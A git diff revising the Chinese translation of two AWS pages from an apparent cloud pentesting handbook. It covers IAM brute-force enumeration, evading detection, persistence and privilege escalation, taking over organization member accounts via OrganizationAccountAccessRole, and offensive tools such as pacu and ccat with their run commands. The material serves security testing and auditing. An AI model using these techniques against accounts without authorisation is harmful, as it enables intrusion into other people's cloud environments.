**提升权限**。 -如果您没有足够的权限来枚举 IAM,您可以 **通过暴力破解来获取** 它们。\ +如果您没有足够的权限来枚举 IAM,您可以 **通过暴力破解来窃取它们** 以找出它们。\ 请查看 **如何进行枚举和暴力破解**: {{#ref}} @@ -110,12 +110,12 @@ aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> 现在您 **已经获得了一些关于您凭据的信息**(如果您是红队,希望您 **没有被检测到**)。是时候找出环境中正在使用哪些服务。\ -> 在以下部分,您可以查看一些 **枚举常见服务** 的方法。 +> 现在您 **对您的凭据有了一些信息**(如果您是红队,希望您 **没有被检测到**)。是时候找出环境中正在使用哪些服务。\ +> 在接下来的部分中,您可以查看一些 **枚举常见服务** 的方法。 -## Services Enumeration, Post-Exploitation & Persistence +## 服务枚举、后期利用与持久性 -AWS 拥有惊人的服务数量,在以下页面中,您将找到 **基本信息、枚举** 备忘单\*\*,\*\* 如何 **避免检测**,获取 **持久性**,以及其他 **后期利用** 技巧: +AWS 拥有惊人的服务数量,在以下页面中,您将找到 **基本信息、枚举** 备忘单\*\*,\*\* 如何 **避免检测**,获取 **持久性**,以及其他关于其中一些服务的 **后期利用** 技巧: {{#ref}} aws-services/ @@ -129,7 +129,7 @@ aws-services/ aws-unauthenticated-enum-access/ {{#endref}} -## Privilege Escalation +## 权限提升 如果您可以 **检查至少自己的权限** 在不同资源上,您可以 **检查是否能够获得更多权限**。您应该至少关注以下权限: @@ -137,37 +137,37 @@ aws-unauthenticated-enum-access/ aws-privilege-escalation/ {{#endref}} -## Publicly Exposed Services +## 公开暴露的服务 在枚举 AWS 服务时,您可能发现其中一些 **向互联网暴露元素**(虚拟机/容器端口、数据库或队列服务、快照或存储桶...)。\ 作为渗透测试者/红队成员,您应该始终检查是否可以在它们上找到 **敏感信息/漏洞**,因为它们可能为您提供 **进一步访问 AWS 账户** 的机会。 -在本书中,您应该找到 **关于如何查找暴露的 AWS 服务以及如何检查它们的信息**。关于如何查找 **暴露网络服务中的漏洞**,我建议您 **搜索** 特定的 **服务** 在: +在本书中,您应该找到关于如何查找 **暴露的 AWS 服务以及如何检查它们** 的 **信息**。关于如何查找 **暴露网络服务中的漏洞**,我建议您 **搜索** 特定的 **服务**: {{#ref}} https://book.hacktricks.xyz/ {{#endref}} -## Compromising the Organization +## 破坏组织 -### From the root/management account +### 从根/管理账户 当管理账户在组织中创建新账户时,会在新账户中创建一个 **新角色**,默认命名为 **`OrganizationAccountAccessRole`**,并给予 **管理账户** 访问新账户的 **AdministratorAccess** 策略。
-因此,要以管理员身份访问子账户,您需要: +因此,为了以管理员身份访问子账户,您需要: -- **攻陷** **管理** 账户并找到 **子账户的 ID** 和 **角色的名称**(默认是 OrganizationAccountAccessRole),以允许管理账户以管理员身份访问。 +- **破坏** **管理** 账户并找到 **子账户的 ID** 和 **角色的名称**(默认是 OrganizationAccountAccessRole),允许管理账户以管理员身份访问。 - 要查找子账户,请转到 AWS 控制台中的组织部分或运行 `aws organizations list-accounts` - 您无法直接找到角色的名称,因此请检查所有自定义 IAM 策略,并搜索任何允许 **`sts:AssumeRole` 在之前发现的子账户上** 的策略。 -- **攻陷** 管理账户中的 **主体**,并具有 **`sts:AssumeRole` 权限** 在子账户的角色上(即使该账户允许管理账户中的任何人进行冒充,由于这是外部账户,特定的 `sts:AssumeRole` 权限是必要的)。 +- **破坏** 管理账户中的 **主体**,并具有 **`sts:AssumeRole` 权限** 在子账户的角色上(即使该账户允许管理账户中的任何人进行冒充,由于这是外部账户,特定的 `sts:AssumeRole` 权限是必要的)。 -## Automated Tools +## 自动化工具 -### Recon +### 侦察 -- [**aws-recon**](https://github.com/darkbitio/aws-recon): 一个多线程的 AWS 安全专注的 **库存收集工具**,用 Ruby 编写。 +- [**aws-recon**](https://github.com/darkbitio/aws-recon): 一个多线程的 AWS 安全专注的 **清单收集工具**,用 Ruby 编写。 ```bash # Install gem install aws_recon @@ -178,8 +178,8 @@ AWS_PROFILE= aws_recon \ --regions global,us-east-1,us-east-2 \ --verbose ``` -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist 是一个 **多云工具,用于获取资产**(主机名,IP 地址)来自云服务提供商。 -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper 帮助您分析您的亚马逊网络服务(AWS)环境。它现在包含更多功能,包括安全问题的审计。 +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist 是一个 **多云工具,用于从云提供商获取资产**(主机名、IP 地址)。 +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper 帮助您分析您的 Amazon Web Services (AWS) 环境。它现在包含更多功能,包括安全问题的审计。 ```bash # Installation steps in github # Create a config.json file with the aws info, like: @@ -233,15 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase 收集来自服务和系统的资产和关系,包括云基础设施、SaaS 应用程序、安全控制等,形成一个直观的图形视图,支持 Neo4j 数据库。 -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (使用 python2) 这是一个工具,尝试 **发现所有** [**AWS 资源**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) 在一个账户中创建的。 +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase 收集来自服务和系统的资产和关系,包括云基础设施、SaaS 应用程序、安全控制等,呈现为一个直观的图形视图,支持 Neo4j 数据库。 +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (使用 python2) 这是一个工具,尝试 **发现所有** [**AWS 资源**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) 在一个账户中创建的资源。 - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): 这是一个工具,用于 **获取与 AWS 账户关联的所有公共 IP 地址**(包括 IPv4/IPv6)。 ### Privesc & Exploiting - [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 发现扫描的 AWS 环境中最特权的用户,包括 AWS Shadow Admins。它使用 powershell。您可以在 [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) 的 **`Check-PrivilegedPolicy`** 函数中找到 **特权策略的定义**。 -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu 是一个开源的 **AWS 利用框架**,旨在针对云环境进行攻击性安全测试。它可以 **枚举**、查找 **错误配置** 并 **利用** 它们。您可以在 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) 的 **`user_escalation_methods`** 字典中找到 **特权权限的定义**。 -- 请注意,pacu **仅检查您自己的 privescs 路径**(而不是账户范围内)。 +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu 是一个开源的 **AWS 利用框架**,旨在针对云环境进行攻击性安全测试。它可以 **枚举**、查找 **错误配置** 并 **利用** 它们。您可以在 **`user_escalation_methods`** 字典中找到 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) 中 **特权权限的定义**。 +- 请注意,pacu **仅检查您自己的 privescs 路径**(而不是账户范围内的)。 ```bash # Install ## Feel free to use venvs @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining 是一个 AWS IAM 安全评估工具,识别最小权限的违规行为并生成风险优先级的 HTML 报告。\ -它将向您显示潜在的 **过度权限** 客户、内联和 aws **策略** 以及哪些 **主体可以访问它们**。 (它不仅检查权限提升,还检查其他有趣的权限,建议使用)。 +它将向您展示潜在的 **过度权限** 客户、内联和 AWS **策略** 以及哪些 **主体可以访问它们**。 (它不仅检查权限提升,还检查其他有趣的权限,建议使用)。 ```bash # Install pip install cloudsplaining @@ -291,12 +291,12 @@ cloudsplaining download --profile dev cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` - [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack 评估 AWS 账户的 **子域劫持漏洞**,这是由于 Route53 和 CloudFront 配置的解耦造成的。 -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): 列出 ECR 仓库 -> 拉取 ECR 仓库 -> 后门化 -> 推送后门化镜像 +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): 列出 ECR 仓库 -> 拉取 ECR 仓库 -> 后门化 -> 推送后门镜像 - [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag 是一个工具,**搜索**公共弹性块存储 (**EBS**) 快照中的秘密,这些秘密可能被意外遗留。 ### 审计 -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit 由 Aqua 开发,是一个开源项目,旨在检测云基础设施账户中的 **安全风险**,包括:亚马逊网络服务 (AWS)、微软 Azure、谷歌云平台 (GCP)、甲骨文云基础设施 (OCI) 和 GitHub(它不查找 ShadowAdmins)。 +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit 由 Aqua 提供,是一个开源项目,旨在检测云基础设施账户中的 **安全风险**,包括:亚马逊网络服务 (AWS)、微软 Azure、谷歌云平台 (GCP)、甲骨文云基础设施 (OCI) 和 GitHub(它不查找 ShadowAdmins)。 ```bash ./index.js --csv=file.csv --console=table --config ./config.js @@ -318,7 +318,7 @@ prowler aws --profile custom-profile [-M csv json json-asff html] ```bash cloudfox aws --profile [profile-name] all-checks ``` -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite 是一个开源的多云安全审计工具,能够对云环境进行安全态势评估。 +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite 是一个开源的多云安全审计工具,能够评估云环境的安全态势。 ```bash # Install virtualenv -p python3 venv @@ -334,9 +334,9 @@ scout aws -p dev ### 持续审计 -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian 是一个用于管理公共云账户和资源的规则引擎。它允许用户 **定义策略以启用良好管理的云基础设施**,既安全又成本优化。它将组织中许多临时脚本整合为一个轻量级和灵活的工具,具有统一的指标和报告。 -- [**pacbot**](https://github.com/tmobile/pacbot)**: 代码即政策机器人 (PacBot)** 是一个用于 **持续合规监控、合规报告和云安全自动化** 的平台。在 PacBot 中,安全和合规政策以代码形式实现。PacBot 发现的所有资源都根据这些政策进行评估,以衡量政策符合性。PacBot **自动修复** 框架提供了通过采取预定义措施自动响应政策违规的能力。 -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert 是一个无服务器的 **实时** 数据分析框架,使您能够 **摄取、分析和警报** 来自任何环境的数据,**使用您定义的数据源和警报逻辑**。计算机安全团队使用 StreamAlert 每天扫描数 TB 的日志数据以进行事件检测和响应。 +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian 是一个用于管理公共云账户和资源的规则引擎。它允许用户 **定义政策以启用良好管理的云基础设施**,既安全又成本优化。它将组织中许多临时脚本整合为一个轻量级和灵活的工具,具有统一的指标和报告。 +- [**pacbot**](https://github.com/tmobile/pacbot)**: 政策即代码机器人 (PacBot)** 是一个用于 **持续合规监控、合规报告和云安全自动化**的平台。在 PacBot 中,安全和合规政策以代码形式实现。PacBot 发现的所有资源都根据这些政策进行评估,以衡量政策符合性。PacBot **自动修复** 框架提供了通过采取预定义行动自动响应政策违规的能力。 +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert 是一个无服务器的 **实时** 数据分析框架,使您能够 **摄取、分析和警报** 来自任何环境的数据,**使用您定义的数据源和警报逻辑**。计算机安全团队使用 StreamAlert 每天扫描数TB的日志数据以进行事件检测和响应。 ## DEBUG: 捕获 AWS cli 请求 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 2b318a3ca..7affe839e 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -10,7 +10,7 @@ 在 AWS 中有一个 **根账户,** 它是您 **组织中所有账户的父容器**。然而,您不需要使用该账户来部署资源,您可以创建 **其他账户以将不同的 AWS** 基础设施分开。 -从 **安全** 的角度来看,这非常有趣,因为 **一个账户无法访问其他账户的资源**(除非专门创建了桥接),因此您可以在部署之间创建边界。 +从 **安全** 的角度来看,这非常有趣,因为 **一个账户无法访问其他账户的资源**(除非专门创建了桥接),这样您可以在部署之间创建边界。 因此,在一个组织中有 **两种类型的账户**(我们谈论的是 AWS 账户,而不是用户账户):一个被指定为管理账户的单一账户,以及一个或多个成员账户。 @@ -27,7 +27,7 @@ 管理账户具有 **付款账户的责任**,并负责支付所有由成员账户产生的费用。您无法更改组织的管理账户。 - **成员账户** 组成了组织中所有其他账户。一个账户一次只能是一个组织的成员。您可以将政策附加到一个账户,以仅对该账户应用控制。 -- 成员账户 **必须使用有效的电子邮件地址**,并可以有一个 **名称**,通常他们将无法管理账单(但可能会被授予访问权限)。 +- 成员账户 **必须使用有效的电子邮件地址**,并可以有一个 **名称**,一般来说,他们将无法管理账单(但可能会被授予访问权限)。 ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` @@ -40,10 +40,10 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -一个 **服务控制策略 (SCP)** 是一种策略,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP **类似于 IAM** 权限策略,但它们 **不授予任何权限**。相反,SCP 指定了组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到您的组织根或 OU 时,**SCP 限制成员账户中实体的权限**。 +**服务控制策略 (SCP)** 是一种策略,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP **类似于 IAM** 权限策略,但它们 **不授予任何权限**。相反,SCP 指定组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到组织根或 OU 时,**SCP 限制成员账户中实体的权限**。 这是 **即使是根用户也无法被阻止** 执行某些操作的唯一方法。例如,它可以用于阻止用户禁用 CloudTrail 或删除备份。\ -绕过此限制的唯一方法是同时攻陷配置 SCP 的 **主账户**(主账户无法被阻止)。 +绕过此限制的唯一方法是同时妥协配置 SCP 的 **主账户**(主账户无法被阻止)。 > [!WARNING] > 请注意,**SCP 仅限制账户中的主体**,因此其他账户不受影响。这意味着拥有一个 SCP 拒绝 `s3:GetObject` 不会阻止人们 **访问您账户中的公共 S3 存储桶**。 @@ -69,7 +69,7 @@ SCP 示例: arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -注意,AWS中有4个分区,但只有3种调用方式: +注意,AWS 中有 4 个分区,但只有 3 种调用它们的方法: - AWS Standard: `aws` - AWS China: `aws-cn` @@ -78,51 +78,51 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ## IAM - 身份和访问管理 -IAM是允许您管理**身份验证**、**授权**和**访问控制**的服务。 +IAM 是允许您管理 **身份验证**、**授权**和 **访问控制** 的服务。 - **身份验证** - 定义身份和验证该身份的过程。此过程可以细分为:识别和验证。 - **授权** - 确定身份在系统中经过身份验证后可以访问的内容。 -- **访问控制** - 授予安全资源访问权限的方法和过程。 +- **访问控制** - 授予对安全资源访问的方式和过程。 -IAM可以通过其管理、控制和治理身份对您AWS账户内资源的身份验证、授权和访问控制机制的能力来定义。 +IAM 可以通过其管理、控制和治理身份对您 AWS 账户内资源的身份验证、授权和访问控制机制的能力来定义。 -### [AWS账户根用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [AWS 账户根用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -当您首次创建Amazon Web Services (AWS)账户时,您将拥有一个具有**完全访问所有**AWS服务和资源的单一登录身份。这是AWS账户的_**根用户**_,通过使用**您用于创建账户的电子邮件地址和密码**进行登录。 +当您首次创建 Amazon Web Services (AWS) 账户时,您将拥有一个具有 **完全访问所有** AWS 服务和资源的单一登录身份。这是 AWS 账户的 _**根用户**_,通过使用 **您用于创建账户的电子邮件地址和密码** 登录访问。 -请注意,新创建的**管理员用户**将具有**比根用户更少的权限**。 +请注意,新创建的 **管理员用户** 的 **权限将少于根用户**。 从安全的角度来看,建议创建其他用户并避免使用此用户。 -### [IAM用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [IAM 用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -IAM_用户_是您在AWS中创建的实体,用于**代表使用它与AWS交互的人员或应用程序**。AWS中的用户由名称和凭据(密码和最多两个访问密钥)组成。 +IAM _用户_ 是您在 AWS 中创建的实体,用于 **代表使用它与 AWS 交互的人员或应用程序**。AWS 中的用户由名称和凭据(密码和最多两个访问密钥)组成。 -当您创建IAM用户时,您通过将其设置为具有适当权限策略的**用户组成员**(推荐)或**直接将策略附加**到用户来授予其**权限**。 +当您创建 IAM 用户时,您通过将其设置为具有适当权限策略的 **用户组的成员**(推荐)或 **直接将策略附加** 到用户来授予其 **权限**。 -用户可以启用**MFA登录**控制台。启用MFA的用户的API令牌不受MFA保护。如果您想要**使用MFA限制用户的API密钥访问**,您需要在策略中指明为了执行某些操作需要MFA(示例[**在这里**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 +用户可以启用 **MFA 登录** 控制台。启用 MFA 的用户的 API 令牌不受 MFA 保护。如果您想要 **使用 MFA 限制用户的 API 密钥访问**,您需要在策略中指明为了执行某些操作需要 MFA(示例 [**这里**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 #### CLI -- **访问密钥ID**:20个随机的大写字母数字字符,如AKHDNAPO86BSHKDIRYT -- **秘密访问密钥ID**:40个随机的大小写字符:S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU(无法检索丢失的秘密访问密钥ID)。 +- **访问密钥 ID**:20 个随机大写字母数字字符,如 AKHDNAPO86BSHKDIRYT +- **秘密访问密钥 ID**:40 个随机大小写字符:S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU(无法检索丢失的秘密访问密钥 ID)。 -每当您需要**更改访问密钥**时,您应遵循以下过程:\ +每当您需要 **更改访问密钥** 时,您应遵循以下过程:\ &#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ ### MFA - 多因素身份验证 -它用于**创建额外的身份验证因素**,以补充您现有的方法,例如密码,从而创建多因素身份验证级别。\ -您可以使用**免费的虚拟应用程序或物理设备**。您可以使用像Google身份验证器这样的应用程序免费激活AWS中的MFA。 +它用于 **创建额外的身份验证因素**,以补充您现有的方法,例如密码,从而创建多因素身份验证级别。\ +您可以使用 **免费的虚拟应用程序或物理设备**。您可以使用 Google 身份验证等应用程序免费激活 AWS 中的 MFA。 -带有MFA条件的策略可以附加到以下内容: +带有 MFA 条件的策略可以附加到以下内容: -- IAM用户或组 -- 资源,例如Amazon S3桶、Amazon SQS队列或Amazon SNS主题 -- 可以被用户假设的IAM角色的信任策略 +- IAM 用户或组 +- 资源,例如 Amazon S3 存储桶、Amazon SQS 队列或 Amazon SNS 主题 +- 可以被用户假设的 IAM 角色的信任策略 -如果您想要**通过CLI访问**一个**检查MFA**的资源,您需要调用**`GetSessionToken`**。这将为您提供一个包含MFA信息的令牌。\ -请注意,**`AssumeRole`凭据不包含此信息**。 +如果您想要 **通过 CLI 访问** 检查 **MFA** 的资源,您需要调用 **`GetSessionToken`**。这将为您提供一个包含 MFA 信息的令牌。\ +请注意 **`AssumeRole` 凭据不包含此信息**。 ```bash aws sts get-session-token --serial-number --token-code ``` @@ -130,7 +130,7 @@ aws sts get-session-token --serial-number --token-code ### [IAM用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) 是一种**一次性将策略附加到多个用户**的方法,这可以使管理这些用户的权限变得更容易。**角色和组不能成为组的一部分**。 +IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) 是一种**一次性将策略附加到多个用户**的方法,这可以更容易地管理这些用户的权限。**角色和组不能成为组的一部分**。 您可以将**基于身份的策略附加到用户组**,以便用户组中的所有**用户**都**接收该策略的权限**。您**不能**在**策略**(例如基于资源的策略)中将**用户组**标识为**`Principal`**,因为组与权限相关,而不是身份验证,主体是经过身份验证的IAM实体。 @@ -139,17 +139,17 @@ IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) - 一个用户**组**可以**包含多个用户**,而一个**用户**可以**属于多个组**。 - **用户组不能嵌套**;它们只能包含用户,而不能包含其他用户组。 - **没有默认的用户组会自动包含AWS账户中的所有用户**。如果您想要这样的用户组,您必须创建它并将每个新用户分配给它。 -- AWS账户中IAM资源的数量和大小是有限制的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。 +- AWS账户中IAM资源的数量和大小是有限的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。 ### [IAM角色](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定了它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色不是唯一与一个人关联,而是旨在**被任何需要它的人(并且有足够权限)假设**。IAM用户可以假设一个角色以**临时**承担特定任务的不同权限。角色可以被[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)分配,该用户通过使用外部身份提供者而不是IAM进行登录。 +IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以假设一个角色以临时**承担特定任务的不同权限**。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。 IAM角色由**两种类型的策略**组成:**信任策略**,不能为空,定义**谁可以假设**该角色,以及**权限策略**,不能为空,定义**它可以访问什么**。 #### AWS安全令牌服务(STS) -AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权限凭证的发放**。它专门针对: +AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权限凭证的发放**。它专门用于: ### [IAM中的临时凭证](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) @@ -164,8 +164,8 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权 - AWS管理策略(由AWS预配置) - 客户管理策略:由您配置。您可以基于AWS管理策略创建策略(修改其中一个并创建自己的),使用策略生成器(一个帮助您授予和拒绝权限的GUI视图)或编写自己的策略。 -默认情况下,访问**被拒绝**,如果指定了明确的角色,则将授予访问权限。\ -如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证的请求(默认允许)除外。 +默认情况下,访问是**被拒绝的**,如果指定了明确的角色,则将授予访问权限。\ +如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证(默认允许)使用的请求除外。 ```javascript { "Version": "2012-10-17", //Version of the policy @@ -188,8 +188,8 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权 ] } ``` -The [全球字段可以在任何服务中用于条件的文档在这里](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [每个服务中可以用于条件的特定字段的文档在这里](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +[可以在任何服务中用于条件的全局字段在这里记录](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\ +[每个服务中可以用于条件的特定字段在这里记录](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。 #### 内联策略 @@ -200,21 +200,21 @@ The [每个服务中可以用于条件的特定字段的文档在这里](https:/ 这些是可以在**资源**中定义的**策略**。**并非所有AWS资源都支持它们**。 -如果主体没有对它们的明确拒绝,并且资源策略授予他们访问权限,则他们被允许。 +如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则允许它们。 ### IAM边界 -IAM边界可以用于**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户不同的权限,如果他尝试使用它们,操作将**失败**。 +IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户不同的权限,如果他尝试使用它们,操作将**失败**。 边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**,如果边界指示他只能读取S·桶,那就是他能做的最大事情。 -**这**、**SCPs**和**遵循最小权限**原则是控制用户没有超过其所需权限的方法。 +**这**、**SCPs**和**遵循最小权限**原则是控制用户权限不超过其所需权限的方式。 ### 会话策略 -会话策略是**在某种情况下假定角色时设置的策略**。这将像是该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限是角色拥有的权限)。 +会话策略是**在角色被假设时设置的策略**。这将像是该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。 -这对于**安全措施**非常有用:当管理员要假定一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。 +这对于**安全措施**非常有用:当管理员要假设一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。 ```bash aws sts assume-role \ --role-arn \ @@ -222,26 +222,26 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -注意,默认情况下,**AWS 可能会向即将生成的会话添加会话策略**,这是由于第三方原因。例如,在[未经身份验证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)中,默认情况下(使用增强身份验证),AWS 将生成**带有会话策略的会话凭证**,该策略限制会话可以访问的服务[**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 +注意,默认情况下,**AWS 可能会将会话策略添加到即将生成的会话**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中,默认情况下(使用增强认证),AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 -因此,如果在某个时刻你遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,那是因为**有一个会话策略阻止了它**。 +因此,如果在某个时刻你遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,那是因为 **有一个会话策略阻止了它**。 ### 身份联合 -身份联合**允许来自外部身份提供者的用户**安全地访问 AWS 资源,而无需提供有效 IAM 用户帐户的 AWS 用户凭证。\ -身份提供者的一个例子可以是你自己的企业**Microsoft Active Directory**(通过**SAML**)或**OpenID**服务(如**Google**)。联合访问将允许其中的用户访问 AWS。 +身份联合 **允许来自外部身份提供者的用户** 安全地访问 AWS 资源,而无需提供有效 IAM 用户帐户的 AWS 用户凭证。\ +身份提供者的一个例子可以是你自己的企业 **Microsoft Active Directory**(通过 **SAML**)或 **OpenID** 服务(如 **Google**)。联合访问将允许其中的用户访问 AWS。 -要配置此信任,生成一个**IAM 身份提供者(SAML 或 OAuth)**,该提供者将**信任****其他平台**。然后,至少一个**IAM 角色被分配(信任)给身份提供者**。如果来自受信任平台的用户访问 AWS,他将以提到的角色进行访问。 +要配置这种信任,生成一个 **IAM 身份提供者(SAML 或 OAuth)**,该提供者将 **信任** **其他平台**。然后,至少一个 **IAM 角色被分配(信任)给身份提供者**。如果来自受信平台的用户访问 AWS,他将以提到的角色进行访问。 -然而,通常你会希望根据第三方平台中用户的**组别给予不同的角色**。然后,多个**IAM 角色可以信任**第三方身份提供者,第三方平台将允许用户假定一个角色或另一个角色。 +然而,通常你会希望根据第三方平台中用户的组给予 **不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的。
### IAM 身份中心 -AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个**集中位置**,将**用户及其对 AWS**帐户和云应用程序的访问管理汇集在一起。 +AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 帐户和云应用程序的访问管理汇集在一起。 -登录域将类似于`.awsapps.com`。 +登录域将类似于 `.awsapps.com`。 要登录用户,可以使用 3 个身份源: @@ -251,22 +251,22 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
